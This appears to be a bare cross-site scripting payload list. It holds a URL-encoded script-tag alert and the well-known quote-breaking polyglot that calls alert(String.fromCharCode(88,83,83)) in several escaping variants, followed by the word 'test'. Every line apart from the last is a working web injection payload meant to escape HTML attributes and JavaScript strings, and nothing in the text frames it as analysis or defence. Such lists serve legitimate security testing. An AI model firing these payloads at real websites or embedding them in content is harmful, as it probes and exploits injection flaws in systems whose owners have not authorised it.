%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%31%32%33%27%29%3c%2f%73%63%72%69%70%74%3e

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
>">'>alert(String.fromCharCode(88,83,83))

test